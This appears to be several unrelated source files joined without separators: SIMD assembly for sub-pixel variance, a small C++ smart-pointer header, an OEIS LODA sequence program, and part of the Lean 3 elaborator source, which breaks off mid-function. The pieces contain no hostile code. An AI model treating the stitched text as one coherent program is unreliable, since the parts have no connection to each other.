filter_rnd psraw m2, 4 paddw m0, m3 punpckhbw m3, m1, m5 psraw m0, 4 punpcklbw m1, m5 %endif %if %2 == 1 ; avg ; FIXME(rbultje) pipeline packuswb m0, m2 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %endif SUM_SSE m0, m1, m2, m3, m6, m7 mova m0, m4 INC_SRC_BY_SRC_STRIDE add dstq, dst_strideq %else ; %1 < 16 movh m0, [srcq] movh m1, [srcq+1] %if cpuflag(ssse3) punpcklbw m0, m1 pmaddubsw m0, filter_x_a paddw m0, filter_rnd %else punpcklbw m0, m5 punpcklbw m1, m5 pmullw m0, filter_x_a pmullw m1, filter_x_b paddw m0, filter_rnd paddw m0, m1 %endif psraw m0, 4 %if cpuflag(ssse3) packuswb m0, m0 %endif INC_SRC_BY_SRC_STRIDE .x_other_y_other_loop: movh m2, [srcq] movh m1, [srcq+1] INC_SRC_BY_SRC_STRIDE movh m4, [srcq] movh m3, [srcq+1] %if cpuflag(ssse3) punpcklbw m2, m1 punpcklbw m4, m3 pmaddubsw m2, filter_x_a pmaddubsw m4, filter_x_a movh m3, [dstq+dst_strideq] movh m1, [dstq] paddw m2, filter_rnd paddw m4, filter_rnd psraw m2, 4 psraw m4, 4 packuswb m2, m2 packuswb m4, m4 punpcklbw m0, m2 punpcklbw m2, m4 pmaddubsw m0, filter_y_a pmaddubsw m2, filter_y_a punpcklbw m3, m5 paddw m0, filter_rnd paddw m2, filter_rnd psraw m0, 4 psraw m2, 4 punpcklbw m1, m5 %else punpcklbw m2, m5 punpcklbw m1, m5 punpcklbw m4, m5 punpcklbw m3, m5 pmullw m2, filter_x_a pmullw m1, filter_x_b paddw m2, filter_rnd pmullw m4, filter_x_a pmullw m3, filter_x_b paddw m4, filter_rnd paddw m2, m1 paddw m4, m3 psraw m2, 4 psraw m4, 4 pmullw m0, filter_y_a pmullw m3, m2, filter_y_b paddw m0, filter_rnd pmullw m2, filter_y_a pmullw m1, m4, filter_y_b paddw m2, filter_rnd paddw m0, m3 movh m3, [dstq+dst_strideq] paddw m2, m1 movh m1, [dstq] psraw m0, 4 psraw m2, 4 punpcklbw m3, m5 punpcklbw m1, m5 %endif %if %2 == 1 ; avg ; FIXME(rbultje) pipeline packuswb m0, m2 pavgb m0, [secq] punpckhbw m2, m0, m5 punpcklbw m0, m5 %endif SUM_SSE m0, m1, m2, m3, m6, m7 mova m0, m4 INC_SRC_BY_SRC_STRIDE lea dstq, [dstq+dst_strideq*2] %endif %if %2 == 1 ; avg add secq, sec_str %endif dec block_height jg .x_other_y_other_loop %undef filter_x_a %undef filter_x_b %undef filter_y_a %undef filter_y_b %undef filter_rnd STORE_AND_RET %endmacro ; FIXME(rbultje) the non-bilinear versions (i.e. x=0,8&&y=0,8) are identical ; between the ssse3 and non-ssse3 version. It may make sense to merge their ; code in the sense that the ssse3 version would jump to the appropriate ; location in the sse/2 version, rather than duplicating that code in the ; binary. INIT_MMX sse SUBPEL_VARIANCE 4 INIT_XMM sse2 SUBPEL_VARIANCE 8 SUBPEL_VARIANCE 16 INIT_MMX ssse3 SUBPEL_VARIANCE 4 INIT_XMM ssse3 SUBPEL_VARIANCE 8 SUBPEL_VARIANCE 16 INIT_MMX sse SUBPEL_VARIANCE 4, 1 INIT_XMM sse2 SUBPEL_VARIANCE 8, 1 SUBPEL_VARIANCE 16, 1 INIT_MMX ssse3 SUBPEL_VARIANCE 4, 1 INIT_XMM ssse3 SUBPEL_VARIANCE 8, 1 SUBPEL_VARIANCE 16, 1
#pragma once template<typename T> xx::PtrHeader* Ref<T>::GetPtrHeader() const { return (xx::PtrHeader*)(T*)this - 1; } // unsafe template<typename T> template<typename U> xx::Weak<U> Ref<T>::WeakFromThis() const { auto h = GetPtrHeader(); return *(xx::Weak<U>*) & h; } template<typename T> template<typename U> xx::Shared<U> Ref<T>::SharedFromThis() const { return WeakFromThis<U>().Lock(); }
; A117942: a(n) = a(3n) = -a(3n+1) = -a(3n+2)/2. ; Submitted by Christian Krause ; 1,-1,-2,-1,1,2,-2,2,4,-1,1,2,1,-1,-2,2,-2,-4,-2,2,4,2,-2,-4,4,-4,-8,-1,1,2,1,-1,-2,2,-2,-4,1,-1,-2,-1,1,2,-2,2,4,2,-2,-4,-2,2,4,-4,4,8,-2,2,4,2,-2,-4,4,-4,-8,2,-2,-4,-2,2,4,-4,4,8,4,-4,-8,-4,4,8,-8,8,16,-1,1,2,1,-1,-2,2,-2,-4,1,-1,-2,-1,1,2,-2,2,4,2 mov $1,1 lpb $0 mov $2,$0 div $0,3 add $2,10 mul $2,2 mod $2,3 add $2,1 bin $2,2 sub $2,2 mul $1,$2 lpe mov $0,$1
/* Copyright (c) 2016 Microsoft Corporation. All rights reserved. Released under Apache 2.0 license as described in the file LICENSE. Author: Leonardo de Moura */ #include <string> #include <utility> #include "util/flet.h" #include "util/thread.h" #include "util/sexpr/option_declarations.h" #include "kernel/find_fn.h" #include "kernel/error_msgs.h" #include "kernel/for_each_fn.h" #include "kernel/abstract.h" #include "kernel/replace_fn.h" #include "kernel/instantiate.h" #include "kernel/scope_pos_info_provider.h" #include "kernel/inductive/inductive.h" #include "library/trace.h" #include "library/user_recursors.h" #include "library/aux_recursors.h" #include "library/app_builder.h" #include "library/constants.h" #include "library/placeholder.h" #include "library/explicit.h" #include "library/choice.h" #include "library/string.h" #include "library/class.h" #include "library/sorry.h" #include "library/quote.h" #include "library/util.h" #include "library/typed_expr.h" #include "library/annotation.h" #include "library/pp_options.h" #include "library/replace_visitor.h" #include "library/locals.h" #include "library/private.h" #include "library/attribute_manager.h" #include "library/scoped_ext.h" #include "library/protected.h" #include "library/message_builder.h" #include "library/aliases.h" #include "library/inverse.h" #include "library/aux_definition.h" #include "library/check.h" #include "library/delayed_abstraction.h" #include "library/vm/vm_name.h" #include "library/vm/vm_expr.h" #include "library/vm/vm_environment.h" #include "library/vm/vm_exceptional.h" #include "library/vm/vm_options.h" #include "library/vm/vm_option.h" #include "library/vm/vm_list.h" #include "library/compiler/vm_compiler.h" #include "library/tactic/kabstract.h" #include "library/tactic/unfold_tactic.h" #include "library/tactic/tactic_state.h" #include "library/tactic/elaborate.h" #include "library/tactic/tactic_evaluator.h" #include "library/equations_compiler/compiler.h" #include "library/equations_compiler/util.h" #include "library/inductive_compiler/ginductive.h" #include "frontends/lean/builtin_exprs.h" #include "frontends/lean/brackets.h" #include "frontends/lean/definition_cmds.h" #include "frontends/lean/util.h" #include "frontends/lean/parser.h" #include "frontends/lean/prenum.h" #include "frontends/lean/structure_cmd.h" #include "frontends/lean/structure_instance.h" #include "frontends/lean/elaborator.h" #ifndef LEAN_DEFAULT_ELABORATOR_COERCIONS #define LEAN_DEFAULT_ELABORATOR_COERCIONS true #endif namespace lean { static name * g_elab_strategy = nullptr; static name * g_elaborator_coercions = nullptr; bool get_elaborator_coercions(options const & opts) { return opts.get_bool(*g_elaborator_coercions, LEAN_DEFAULT_ELABORATOR_COERCIONS); } struct elaborator_strategy_attribute_data : public attr_data { elaborator_strategy m_status; elaborator_strategy_attribute_data() {} elaborator_strategy_attribute_data(elaborator_strategy status) : m_status(status) {} virtual unsigned hash() const override { return static_cast<unsigned>(m_status); } void write(serializer & s) const { s << static_cast<char>(m_status); } void read(deserializer & d) { char c; d >> c; m_status = static_cast<elaborator_strategy>(c); } }; bool operator==(elaborator_strategy_attribute_data const & d1, elaborator_strategy_attribute_data const & d2) { return d1.m_status == d2.m_status; } template class typed_attribute<elaborator_strategy_attribute_data>; typedef typed_attribute<elaborator_strategy_attribute_data> elaborator_strategy_attribute; static elaborator_strategy_attribute const & get_elaborator_strategy_attribute() { return static_cast<elaborator_strategy_attribute const &>(get_system_attribute(*g_elab_strategy)); } class elaborator_strategy_proxy_attribute : public proxy_attribute<elaborator_strategy_attribute_data> { typedef proxy_attribute<elaborator_strategy_attribute_data> parent; public: elaborator_strategy_proxy_attribute(char const * id, char const * descr, elaborator_strategy status): parent(id, descr, status) {} virtual typed_attribute<elaborator_strategy_attribute_data> const & get_attribute() const { return get_elaborator_strategy_attribute(); } }; elaborator_strategy get_elaborator_strategy(environment const & env, name const & n) { if (auto data = get_elaborator_strategy_attribute().get(env, n)) return data->m_status; if (inductive::is_elim_rule(env, n) || is_aux_recursor(env, n) || is_user_defined_recursor(env, n)) { return elaborator_strategy::AsEliminator; } return elaborator_strategy::WithExpectedType; } #define trace_elab(CODE) lean_trace("elaborator", scope_trace_env _scope(m_env, m_ctx); CODE) #define trace_elab_detail(CODE) lean_trace("elaborator_detail", scope_trace_env _scope(m_env, m_ctx); CODE) #define trace_elab_debug(CODE) lean_trace("elaborator_debug", scope_trace_env _scope(m_env, m_ctx); CODE) elaborator::elaborator(environment const & env, options const & opts, name const & decl_name, metavar_context const & mctx, local_context const & lctx, bool recover_from_errors, bool in_pattern, bool in_quote): m_env(env), m_opts(opts), m_cache(opts), m_decl_name(decl_name), m_ctx(env, mctx, lctx, m_cache, transparency_mode::Semireducible), m_recover_from_errors(recover_from_errors), m_uses_infom(get_global_info_manager() != nullptr), m_in_pattern(in_pattern), m_in_quote(in_quote) { m_coercions = get_elaborator_coercions(opts); } elaborator::~elaborator() { try { if (m_uses_infom && get_global_info_manager() && !in_thread_finalization()) { m_info.instantiate_mvars(m_ctx.mctx()); get_global_info_manager()->merge(m_info); } } catch (...) {} } auto elaborator::mk_pp_ctx() -> pp_fn { return ::lean::mk_pp_ctx(m_ctx.env(), m_opts, m_ctx.mctx(), m_ctx.lctx()); } formatter elaborator::mk_fmt_ctx() { return formatter(m_opts, [=](expr const & e, options const & o) { return ::lean::mk_pp_ctx(m_ctx.env(), o, m_ctx.mctx(), m_ctx.lctx())(e); }); } format elaborator::pp_indent(pp_fn const & pp_fn, expr const & e) { unsigned i = get_pp_indent(m_opts); return nest(i, line() + pp_fn(e)); } format elaborator::pp_indent(expr const & e) { return pp_indent(mk_pp_ctx(), e); } format elaborator::pp(expr const & e) { auto fn = mk_pp_ctx(); return fn(e); } format elaborator::pp_overload(pp_fn const & pp_fn, expr const & fn) { return is_constant(fn) ? format(const_name(fn)) : pp_fn(fn); } format elaborator::pp_overloads(pp_fn const & pp_fn, buffer<expr> const & fns) { format r("overloads:"); r += space(); bool first = true; for (expr const & fn : fns) { if (first) first = false; else r += format(", "); r += pp_overload(pp_fn, fn); } return paren(r); } format elaborator::pp_type_mismatch(expr const & e, expr const & e_type, expr const & expected_type) { try { expr e_type_type = instantiate_mvars(whnf(infer_type(e_type))); expr expected_type_type = instantiate_mvars(whnf(infer_type(expected_type))); return ::lean::pp_type_mismatch(mk_fmt_ctx(), e, e_type, expected_type, some_expr(e_type_type), some_expr(expected_type_type)); } catch (exception &) { return ::lean::pp_type_mismatch(mk_fmt_ctx(), e, e_type, expected_type); } } format elaborator::pp_type_mismatch(expr const & e_type, expr const & expected_type) { try { expr e_type_type = instantiate_mvars(whnf(infer_type(e_type))); expr expected_type_type = instantiate_mvars(whnf(infer_type(expected_type))); return ::lean::pp_type_mismatch(mk_fmt_ctx(), e_type, expected_type, some_expr(e_type_type), some_expr(expected_type_type)); } catch (exception &) { return ::lean::pp_type_mismatch(mk_fmt_ctx(), e_type, expected_type); } } bool elaborator::try_report(std::exception const & ex) { return try_report(ex, none_expr()); } bool elaborator::try_report(std::exception const & ex, optional<expr> const & ref) { if (auto elab_ex = dynamic_cast<elaborator_exception const *>(&ex)) { if (elab_ex->is_ignored()) return true; } if (!m_recover_from_errors) return false; auto pip = get_pos_info_provider(); if (!pip) return false; auto tc = std::make_shared<type_context_old>(m_env, m_opts, m_ctx.mctx(), m_ctx.lctx()); message_builder out(tc, m_env, get_global_ios(), pip->get_file_name(), ref ? pip->get_pos_info_or_some(*ref) : pip->get_some_pos(), ERROR); out.set_exception(ex); out.report(); m_has_errors = true; return true; } void elaborator::report_or_throw(elaborator_exception const & ex) { if (!try_report(ex)) throw elaborator_exception(ex); } bool elaborator::has_synth_sorry(std::initializer_list<expr> && es) { for (auto & e : es) { if (has_synthetic_sorry(instantiate_mvars(e))) { return true; } } return false; } expr elaborator::mk_sorry(optional<expr> const & expected_type, expr const & ref, bool synthetic) { auto sorry_type = expected_type ? *expected_type : mk_type_metavar(ref); return copy_tag(ref, mk_sorry(sorry_type, synthetic)); } expr elaborator::recoverable_error(optional<expr> const & expected_type, expr const & ref, elaborator_exception const & ex) { report_or_throw(ex); return mk_sorry(expected_type, ref); } level elaborator::mk_univ_metavar() { return m_ctx.mk_univ_metavar_decl(); } expr elaborator::mk_metavar(expr const & A, expr const & ref) { return copy_tag(ref, m_ctx.mk_metavar_decl(m_ctx.lctx(), A)); } expr elaborator::mk_metavar(name const & pp_n, expr const & A, expr const & ref) { return copy_tag(ref, m_ctx.mk_metavar_decl(pp_n, m_ctx.lctx(), A)); } expr elaborator::mk_metavar(optional<expr> const & A, expr const & ref) { if (A) return mk_metavar(*A, ref); else return mk_metavar(mk_type_metavar(ref), ref); } expr elaborator::mk_type_metavar(expr const & ref) { level l = mk_univ_metavar(); return mk_metavar(mk_sort(l), ref); } expr elaborator::mk_instance_core(local_context const & lctx, expr const & C, expr const & ref) { scope_traces_as_messages traces_as_messages(get_pos_info_provider(), ref); // TODO(gabriel): cache failures so that we do not report errors twice optional<expr> inst = m_ctx.mk_class_instance_at(lctx, C); if (!inst) { metavar_context mctx = m_ctx.mctx(); local_context new_lctx = lctx.instantiate_mvars(mctx); new_lctx = erase_inaccessible_annotations(new_lctx); tactic_state s = ::lean::mk_tactic_state_for(m_env, m_opts, m_decl_name, mctx, new_lctx, C); return recoverable_error(some_expr(C), ref, elaborator_exception( ref, format("failed to synthesize type class instance for") + line() + s.pp()) .ignore_if(has_synth_sorry({C}))); } return *inst; } expr elaborator::mk_instance_core(expr const & C, expr const & ref) { return mk_instance_core(m_ctx.lctx(), C, ref); } /* We say a type class (Pi X, (C a_1 ... a_n)), where X may be empty, is ready to synthesize if it does not contain metavariables, or if the a_i's that contain metavariables are marked as output params. */ bool elaborator::ready_to_synthesize(expr inst_type) { if (!has_expr_metavar(inst_type)) return true; while (is_pi(inst_type)) inst_type = binding_body(inst_type); buffer<expr> C_args; expr const & C = get_app_args(inst_type, C_args); if (!is_constant(C)) return false; expr it = m_ctx.infer(C); for (expr const & C_arg : C_args) { if (!is_pi(it)) return false; /* failed */ expr const & d = binding_domain(it); if (has_expr_metavar(C_arg) && !is_class_out_param(d)) return false; it = binding_body(it); } return true; } expr elaborator::mk_instance(expr const & C, expr const & ref) { if (!ready_to_synthesize(C)) { expr inst = mk_metavar(C, ref); m_instances = cons(inst, m_instances); return inst; } else { return mk_instance_core(C, ref); } } expr elaborator::instantiate_mvars(expr const & e) { expr r = m_ctx.instantiate_mvars(e); if (r.get_tag() == nulltag) r.set_tag(e.get_tag()); return r; } level elaborator::get_level(expr const & A, expr const & ref) { expr A_type = whnf(infer_type(A)); if (is_sort(A_type)) { return sort_level(A_type); } if (is_meta(A_type)) { level l = mk_univ_metavar(); if (try_is_def_eq(A_type, mk_sort(l))) { return l; } } auto pp_fn = mk_pp_ctx(); throw elaborator_exception(ref, pp_type_expected(mk_fmt_ctx(), A, &A_type)); } level elaborator::replace_univ_placeholder(level const & l) { auto fn = [&](level const & l) { if (is_one_placeholder(l)) return some_level(mk_level_one()); else if (is_placeholder(l)) return some_level(mk_univ_metavar()); else return none_level(); }; return replace(l, fn); } static bool contains_placeholder(level const & l) { bool contains = false; auto fn = [&](level const & l) { if (contains) return false; if (is_placeholder(l) || is_one_placeholder(l)) contains = true; return true; }; for_each(l, fn); return contains; } /* Here, we say a term is first-order IF all applications are of the form (f ...) where f is a constant. */ static bool is_first_order(expr const & e) { return !find(e, [&](expr const & e, unsigned) { return is_app(e) && !is_constant(get_app_fn(e)); }); } bool elaborator::is_elim_elab_candidate(name const & fn) { return get_elaborator_strategy(m_env, fn) == elaborator_strategy::AsEliminator; } /* Temporary hack for get_elim_info_for_builtin. It doesn't work for drec recursors for inductive predicates. TODO(Leo): fix it. */ static bool is_basic_aux_recursor(environment const & env, name const & n) { if (!is_aux_recursor(env, n)) return false; return strcmp(n.get_string(), "drec") != 0; } /** See comment at elim_info */ auto elaborator::get_elim_info_for_builtin(name const & fn) -> elim_info { lean_assert(is_basic_aux_recursor(m_env, fn) || inductive::is_elim_rule(m_env, fn)); /* Remark: this is not just an optimization. The code at use_elim_elab_core only works for dependent elimination. */ lean_assert(!fn.is_atomic()); name const & I_name = fn.get_prefix(); optional<inductive::inductive_decl> decl = inductive::is_inductive_decl(m_env, I_name); lean_assert(decl); unsigned nparams = decl->m_num_params; unsigned nindices = *inductive::get_num_indices(m_env, I_name); unsigned nminors = length(decl->m_intro_rules); elim_info r; if (strcmp(fn.get_string(), "brec_on") == 0 || strcmp(fn.get_string(), "binduction_on") == 0) { r.m_arity = nparams + 1 /* motive */ + nindices + 1 /* major */ + 1; } else { r.m_arity = nparams + 1 /* motive */ + nindices + 1 /* major */ + nminors; } r.m_nexplicit = 1 /* major premise */ + nminors; if (nminors == 0) { /* The motive is marked as explicit in builtin recursors that do not have minor premises */ r.m_nexplicit++; } r.m_motive_idx = nparams; unsigned major_idx; if (inductive::is_elim_rule(m_env, fn)) { major_idx = nparams + 1 + nindices + nminors; } else { major_idx = nparams + 1 + nindices; } r.m_idxs = to_list(major_idx); return r; } /** See comment at elim_info */ auto elaborator::use_elim_elab_core(name const & fn) -> optional<elim_info> { if (!is_elim_elab_candidate(fn)) return optional<elim_info>(); if (is_basic_aux_recursor(m_env, fn) || inductive::is_elim_rule(m_env, fn)) { return optional<elim_info>(get_elim_info_for_builtin(fn)); } type_context_old::tmp_locals locals(m_ctx); declaration d = m_env.get(fn); expr type = d.get_type(); while (is_pi(type)) { type = instantiate(binding_body(type), locals.push_local_from_binding(type)); } buffer<expr> C_args; expr const & C = get_app_args(type, C_args); if (!is_local(C) || C_args.empty() || !std::all_of(C_args.begin(), C_args.end(), is_local)) { format msg = format("'eliminator' elaboration is not used for '") + format(fn) + format("' because resulting type is not of the expected form\n"); m_elim_failure_info.insert(fn, msg); return optional<elim_info>(); } buffer<expr> const & params = locals.as_buffer(); optional<unsigned> _midx = params.index_of(C); if (!_midx) return optional<elim_info>(); unsigned midx = *_midx; buffer<unsigned> idxs; buffer<bool> found; found.resize(C_args.size(), false); unsigned i = params.size(); unsigned nexplicit = 0; while (i > 0) { --i; expr const & param = params[i]; if (!is_explicit(local_info(param))) { continue; } nexplicit++; if (optional<unsigned> pos = C_args.index_of(param)) { // Parameter is an argument of the resulting type (C ...) if (!found[*pos]) { // We store it if we could not infer it using the type of other arguments. found[*pos] = true; idxs.push_back(i); } } expr param_type = m_ctx.infer(param); if (!is_first_order(param_type)) continue; bool collected = false; for_each(param_type, [&](expr const & e, unsigned) { if (is_local(e)) { if (optional<unsigned> pos = C_args.index_of(e)) { if (!found[*pos]) { collected = true; found[*pos] = true; } } } return true; }); if (collected) idxs.push_back(i); } for (unsigned i = 0; i < found.size(); i++) { if (!found[i]) { format msg = format("'eliminator' elaboration is not used for '") + format(fn) + format("' because a (reliable) way to synthesize '") + pp(C_args[i]) + format("', which occurs in the resulting type, was not found\n"); m_elim_failure_info.insert(fn, msg); return optional<elim_info>(); } } std::reverse(idxs.begin(), idxs.end()); trace_elab_detail(tout() << "'eliminator' elaboration is going to be used for '" << fn << "' applications, " << "the motive is computed using the argument(s):"; for (unsigned idx : idxs) tout() << " #" << (idx+1); tout() << "\n";); return optional<elim_info>(params.size(), nexplicit, midx, to_list(idxs)); } /** See comment at elim_info */ auto elaborator::use_elim_elab(name const & fn) -> optional<elim_info> { if (auto it = m_elim_cache.find(fn)) return *it; optional<elim_info> r = use_elim_elab_core(fn); m_elim_cache.insert(fn, r); return r; } void elaborator::trace_coercion_failure(expr const & e_type, expr const & type, expr const & ref, char const * error_msg) { trace_elab({ auto pp_fn = mk_pp_ctx(); format msg("coercion at "); msg += format(pos_string_for(ref)); msg += space() + format("from"); msg += pp_indent(pp_fn, e_type); msg += line() + format("to"); msg += pp_indent(pp_fn, type); msg += line() + format(error_msg); tout() << msg << "\n"; }); } optional<expr> elaborator::mk_Prop_to_bool_coercion(expr const & e, expr const & ref) { expr dec = mk_app(mk_constant(get_decidable_name()), e); expr inst = mk_instance(dec, ref); expr r = mk_app(mk_constant(get_decidable_to_bool_name()), e, inst); return some_expr(r); } optional<expr> elaborator::mk_coercion_core(expr const & e, expr const & e_type, expr const & type, expr const & ref) { if (e_type == mk_Prop() && m_ctx.is_def_eq(type, mk_bool())) { return mk_Prop_to_bool_coercion(e, ref); } else { expr has_coe_t; try { has_coe_t = mk_app(m_ctx, get_has_coe_t_name(), e_type, type); } catch (app_builder_exception & ex) { trace_coercion_failure(e_type, type, ref, "failed create type class expression 'has_coe_t' " "('set_option trace.app_builder true' for more information)"); return none_expr(); } optional<expr> inst; try { inst = m_ctx.mk_class_instance_at(m_ctx.lctx(), has_coe_t); } catch (class_exception &) { trace_coercion_failure(e_type, type, ref, "failed to synthesize class instance for 'has_coe_t' " "('set_option trace.class_instances true' for more information)"); return none_expr(); } if (!inst) { trace_coercion_failure(e_type, type, ref, "failed to synthesize 'has_coe_t' type class instance " "('set_option trace.class_instances true' for more information)"); return none_expr(); } level u_1 = get_level(e_type, ref); level u_2 = get_level(type, ref); expr coe_to_lift = mk_app(mk_constant(get_coe_to_lift_name(), {u_1, u_2}), e_type, type, *inst); expr coe = mk_app(mk_constant(get_coe_name(), {u_1, u_2}), e_type, type, coe_to_lift, e); return some_expr(coe); } } bool elaborator::is_monad(expr const & e) { try { expr m = mk_app(m_ctx, get_monad_name(), e); return static_cast<bool>(m_ctx.mk_class_instance(m)); } catch (app_builder_exception &) { return false; } catch (class_exception &) { return false; } } bool elaborator::is_monad_fail(expr const & e) { try { expr m = mk_app(m_ctx, get_monad_fail_name(), e); return static_cast<bool>(m_ctx.mk_class_instance(m)); } catch (app_builder_exception &) { return false; } catch (class_exception &) { return false; } } /* When lifting monads in do-notation and/or bind, it is very common to have coercion problems such as tactic name ===> solver ?a Coercion resolution cannot be used because (solver ?a) contains meta-variables. Recall that coercion resolution is based on type class resolution, and we can only synthesize type class instances if the type does not contain meta-variables. The coercion problem above is generated in scenarios such as do v ← t1, ... which is notation for @bind ?m ?inst ?a ?b t1 (fun v : ?a, ...) Now, assume (t1 : tactic name) and the expected type is (solver unit). Then, the following meta-variables can be resolved. ?m := solver ?b := unit ?inst := solver.monad and we get @bind solver solver.monad ?a unit t1 (fun v : ?a, ...) At this point, we get a type mismatch at t1 because th expected type is (solver ?a) and the given type is (tactic name). In this method, we consider the following compromise: we assign ?a := name, and then, try to perform coercion resolution again. Remark: this method also handle the case where the metavariable is at e_type. Example: tactic ?a ===> smt_tactic unit TODO(leo): can/should we generalize this approach? */ optional<expr> elaborator::try_monad_coercion(expr const & e, expr const & e_type, expr type, expr const & ref) { if ((has_expr_metavar(e_type) && has_expr_metavar(type)) || (!has_expr_metavar(e_type) && !has_expr_metavar(type)) || !is_app(e_type) || !is_app(type) || has_expr_metavar(app_fn(type)) || has_expr_metavar(app_fn(e_type)) || (!is_metavar(app_arg(e_type)) && !is_metavar(app_arg(type))) || !is_monad(app_fn(e_type)) || !is_monad(app_fn(type))) { /* Not applicable */ return none_expr(); } if (!m_ctx.is_def_eq(app_arg(e_type), app_arg(type))) return none_expr(); type = instantiate_mvars(type); return mk_coercion_core(e, e_type, type, ref); } optional<expr> elaborator::mk_coercion(expr const & e, expr e_type, expr type, expr const & ref) { if (!m_coercions) return none_expr(); synthesize_type_class_instances(); e_type = instantiate_mvars(e_type); type = instantiate_mvars(type); if (auto r = try_monad_coercion(e, e_type, type, ref)) { return r; } auto whnf_type = whnf(type); if (is_pi(whnf_type)) { if (auto r = mk_coercion_to_fn(e, e_type, ref)) { return r; } } if (is_sort(whnf_type)) { if (auto r = mk_coercion_to_sort(e, e_type, ref)) { return r; } } return mk_coercion_core(e, e_type, type, ref); } bool elaborator::is_def_eq(expr const & e1, expr const & e2) { type_context_old::approximate_scope scope(m_ctx); try { return m_ctx.is_def_eq(e1, e2); } catch (exception &) { return false; } } bool elaborator::try_is_def_eq(expr const & e1, expr const & e2) { snapshot S(*this); flet<bool> dont_recover(m_recover_from_errors, false); try { return is_def_eq(e1, e2); } catch (exception &) { S.restore(*this); throw; } S.restore(*this); return false; } optional<expr> elaborator::ensure_has_type(expr const & e, expr const & e_type, expr const & type, expr const & ref) { if (is_def_eq(e_type, type)) return some_expr(e); return mk_coercion(e, e_type, type, ref); } expr elaborator::enforce_type(expr const & e, expr const & expected_type, char const * header, expr const & ref) { expr e_type = infer_type(e); if (auto r = ensure_has_type(e, e_type, expected_type, ref)) { return *r; } else { auto exc = elaborator_exception(ref, format(header) + format(", term") + pp_type_mismatch(e, e_type, expected_type)) .ignore_if(has_synth_sorry({e, e_type, expected_type})); return recoverable_error(some(expected_type), ref, exc); } } void elaborator::trace_coercion_fn_sort_failure(bool is_fn, expr const & e_type, expr const & ref, char const * error_msg) { trace_elab({ format msg("coercion at "); auto pp_fn = mk_pp_ctx(); msg += format(pos_string_for(ref)); msg += space() + format("from"); msg += pp_indent(pp_fn, e_type); if (is_fn) msg += line() + format("to function space"); else msg += line() + format("to sort"); msg += line() + format(error_msg); tout() << msg << "\n"; }); } optional<expr> elaborator::mk_coercion_to_fn_sort(bool is_fn, expr const & e, expr const & _e_type, expr const & ref) { if (!m_coercions) return none_expr(); expr e_type = instantiate_mvars(_e_type); try { bool mask[3] = { true, false, true }; expr args[2] = { e_type, e }; expr new_e = mk_app(m_ctx, is_fn ? get_coe_fn_name() : get_coe_sort_name(), 3, mask, args); expr new_e_type = whnf(infer_type(new_e)); if ((is_fn && is_pi(new_e_type)) || (!is_fn && is_sort(new_e_type))) { return some_expr(new_e); } trace_coercion_fn_sort_failure(is_fn, e_type, ref, "coercion was successfully generated, but resulting type is not the expected one"); return none_expr(); } catch (app_builder_exception & ex) { trace_coercion_fn_sort_failure(is_fn, e_type, ref, "failed create coercion application using type class resolution " "('set_option trace.app_builder true' and 'set_option trace.class_instances true' for more information)"); return none_expr(); } } expr elaborator::ensure_function(expr const & e, expr const & ref) { expr e_type = whnf(infer_type(e)); if (is_pi(e_type)) { return e; } if (auto r = mk_coercion_to_fn(e, e_type, ref)) { return *r; } throw elaborator_exception(ref, pp_function_expected(mk_fmt_ctx(), e, e_type)) .ignore_if(has_synth_sorry({e, e_type})); } expr elaborator::ensure_type(expr const & e, expr const & ref) { expr e_type = whnf(infer_type(e)); if (is_sort(e_type)) { return e; } if (is_meta(e_type) && is_def_eq(e_type, mk_sort(mk_univ_metavar()))) { return e; } if (auto r = mk_coercion_to_sort(e, e_type, ref)) { return *r; } report_or_throw(elaborator_exception(ref, pp_type_expected(mk_fmt_ctx(), e, &e_type))); // only create the metavar if can actually recover from the error return mk_sorry(some_expr(mk_sort(mk_univ_metavar())), ref); } static expr get_ref_for_child(expr const & arg, expr const & ref) { if (get_pos_info_provider() && get_pos_info_provider()->get_pos_info(arg)) { return arg; } else { /* using ref because position info for argument is not available */ return ref; } } expr elaborator::visit_typed_expr(expr const & e) { expr val = get_typed_expr_expr(e); expr ref = val; expr type = get_typed_expr_type(e); expr new_type; expr ref_type = get_ref_for_child(type, e); new_type = ensure_type(visit(type, none_expr()), ref_type); synthesize_type_class_instances(); expr new_val = visit(val, some_expr(new_type)); expr new_val_type = infer_type(new_val); if (auto r = ensure_has_type(new_val, new_val_type, new_type, ref)) return *r; return recoverable_error(some_expr(new_type), ref, elaborator_exception(ref, format("invalid type ascription, term ") + pp_type_mismatch(new_val_type, new_type))); } level elaborator::dec_level(level const & l, expr const & ref) { if (auto d = ::lean::dec_level(l)) return *d; level r = m_ctx.mk_univ_metavar_decl(); if (!m_ctx.is_def_eq(mk_succ(r), l)) throw elaborator_exception(ref, "invalid pre-numeral, universe level must be > 0"); return r; } expr elaborator::visit_prenum(expr const & e, optional<expr> const & expected_type) { lean_assert(is_prenum(e)); expr ref = e; mpz const & v = prenum_value(e); tag e_tag = e.get_tag(); expr A; if (expected_type) { A = *expected_type; if (is_metavar(*expected_type)) m_numeral_types = cons(A, m_numeral_types); } else { A = mk_type_metavar(ref); m_numeral_types = cons(A, m_numeral_types); } level A_lvl = get_level(A, ref); levels ls(dec_level(A_lvl, ref)); if (v.is_neg()) return recoverable_error(some_expr(A), ref, elaborator_exception(ref, "invalid pre-numeral, it must be a non-negative value")); if (v.is_zero()) { expr has_zero_A = mk_app(mk_constant(get_has_zero_name(), ls), A, e_tag); expr S = mk_instance(has_zero_A, ref); return mk_app(mk_app(mk_constant(get_has_zero_zero_name(), ls), A, e_tag), S, e_tag); } else { expr has_one_A = mk_app(mk_constant(get_has_one_name(), ls), A, e_tag); expr S_one = mk_instance(has_one_A, ref); expr one = mk_app(mk_app(mk_constant(get_has_one_one_name(), ls), A, e_tag), S_one, e_tag); if (v == 1) { return one; } else { expr has_add_A = mk_app(mk_constant(get_has_add_name(), ls), A, e_tag); expr S_add = mk_instance(has_add_A, ref); std::function<expr(mpz const & v)> convert = [&](mpz const & v) { lean_assert(v > 0); if (v == 1) return one; else if (v % mpz(2) == 0) { expr r = convert(v / 2); return mk_app(mk_app(mk_app(mk_constant(get_bit0_name(), ls), A, e_tag), S_add, e_tag), r, e_tag); } else { expr r = convert(v / 2); return mk_app(mk_app(mk_app(mk_app(mk_constant(get_bit1_name(), ls), A, e_tag), S_one, e_tag), S_add, e_tag), r, e_tag); } }; return convert(v); } } } expr elaborator::visit_sort(expr const & e) { level new_l = replace_univ_placeholder(sort_level(e)); expr r = update_sort(e, new_l); if (contains_placeholder(sort_level(e))) m_to_check_sorts.emplace_back(e, r); return r; } expr 